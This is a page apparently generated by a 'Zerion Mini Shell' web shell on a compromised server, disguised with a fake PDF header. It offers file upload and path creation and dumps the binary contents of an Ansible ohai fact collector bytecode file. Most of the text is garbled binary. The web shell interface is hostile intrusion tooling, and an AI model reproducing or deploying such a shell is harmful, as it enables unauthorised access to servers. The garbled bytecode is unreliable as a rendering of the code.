%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3.9/site-packages/ansible/module_utils/facts/other/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3.9/site-packages/ansible/module_utils/facts/other/__pycache__/ohai.cpython-39.pyc

a

�)gG	�@sdddlmZmZmZeZddlZddlmm	m
Zddlm
Z
ddlmZGdd�de�ZdS)�)�absolute_import�division�print_functionN)�PrefixFactNamespace)�BaseFactCollectorcsNeZdZdZdZe�Zd�fdd�	Zdd�Zdd	�Z	d
d�Z
ddd
�Z�ZS)�OhaiFactCollectorzIThis is a subclass of Facts for including information gathered from Ohai.�ohaiNcs$tddd�}tt|�j||d�dS)NrZohai_)Znamespace_name�prefix)�
collectors�	namespace)r�superr�__init__)�selfr
r��	__class__��I/usr/lib/python3.9/site-packages/ansible/module_utils/facts/other/ohai.pyr
!s��zOhaiFactCollector.__init__cCs|�d�}|S)Nr)Zget_bin_path)r�module�	ohai_pathrrr�	find_ohai's
zOhaiFactCollector.find_ohaicCs|�|�\}}}|||fS�N)Zrun_command�rrr�rc�out�errrrr�run_ohai+szOhaiFactCollector.run_ohaicCs4|�|�}|sdS|�||�\}}}|dkr0dS|S)Nr)rrrrrr�get_ohai_output/s
z!OhaiFactCollector.get_ohai_outputcCsHi}|s|S|�|�}|dur"|Szt�|�}WntyBYn0|Sr)r�json�loads�	Exception)rrZcollected_factsZ
ohai_factsZohai_outputrrr�collect:s
zOhaiFactCollector.collect)NN)NN)
�__name__�
__module__�__qualname__�__doc__�name�setZ	_fact_idsr
rrrr �
__classcell__rrrrrsr)Z
__future__rrr�typeZ
__metaclass__rZ"ansible.module_utils.compat.typingZmodule_utils�compat�typing�tZ$ansible.module_utils.facts.namespacerZ$ansible.module_utils.facts.collectorrrrrrr�<module>s

Zerion Mini Shell 1.0